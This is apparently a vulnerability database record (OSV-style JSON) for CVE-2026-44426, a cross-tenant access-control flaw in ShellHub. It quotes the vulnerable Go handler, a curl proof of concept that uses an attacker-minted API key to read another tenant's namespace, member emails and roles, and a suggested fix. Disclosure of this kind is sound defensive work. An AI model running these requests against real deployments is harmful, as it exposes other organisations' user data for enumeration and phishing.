{"id":"CVE-2026-44426","aliases":["GHSA-vwx9-7qcf-gg7f","GO-2026-5680"],"url":"https://o3.security/vulnerability/CVE-2026-44426","summary":"ShellHub: Cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses  membership check","details":"## Summary\n`GET /api/namespaces/:tenant` returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key's own tenant scope.\n\nThe handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.\n\n## Affected versions\nShellHub Community v0.24.1 (validated).\n\n## Root cause\n`api/routes/nsadm.go:75-102` — membership check is skipped when `c.ID()` is nil:\n\n  ```go\n  var uid string\n  if c.ID() != nil {\n      uid = c.ID().ID\n  }\n\n  ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)\n  if err != nil || ns == nil {\n      return c.NoContent(http.StatusNotFound)\n  }\n\n  if uid != \"\" {                              // ⚠️ skipped when API Key is used\n      if _, ok := ns.FindMember(uid); !ok {\n          return c.NoContent(http.StatusForbidden)\n      }\n  }\n\n  return c.JSON(http.StatusOK, ns)\n  ```\n\n  `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,\n  and `X-API-KEY` for API Key authentication — never `X-ID`. So\n  `c.Request().Header.Get(\"X-ID\")` returns `\"\"`, `c.ID()` returns `nil`, and\n  the membership check is bypassed.\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  # Attacker authenticates in their own namespace and mints an API Key\n  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"attacker\",\"password\":\"...\"}' | jq -r .token)\n\n  ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"name\":\"poc\",\"expires_at\":30}' | jq -r .id)\n\n  # Baseline: same request with JWT is correctly blocked\n  curl -i http://target/api/namespaces/<victim-tenant-uuid> \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n  # Observed: HTTP 403 (correct)\n\n  # Exploit: same request with API Key returns full namespace\n  curl -i http://target/api/namespaces/<victim-tenant-uuid> \\\n    -H \"X-API-Key: $ATTACKER_KEY\"\n  # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],\n  #                      settings, max_devices, devices_accepted_count, type, created_at}\n  ```\n\n## Impact\n  - Enumeration of any ShellHub namespace by tenant UUID.\n  - Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.\n  - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.\n\n## Suggested fix\nTwo layers:\n\n  1. **Primary** — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:\n\n     ```go\n     // nsadm.go GetNamespace\n     if c.Tenant() != nil && c.Tenant().ID != req.Tenant {\n         return c.NoContent(http.StatusForbidden)\n     }\n     ```","published":"2026-05-13T21:06:06.222Z","modified":"2026-10-28T02:30:38.041737790Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},"epss":{"score":0.00308,"percentile":0.23217,"asOf":"2026-08-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/shellhub-io/shellhub","fixedVersion":"0.24.2"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44426.json"},{"type":"ADVISORY","url":"https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44426"},{"type":"PACKAGE","url":"https://github.com/shellhub-io/shellhub"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:38.041737790Z"}}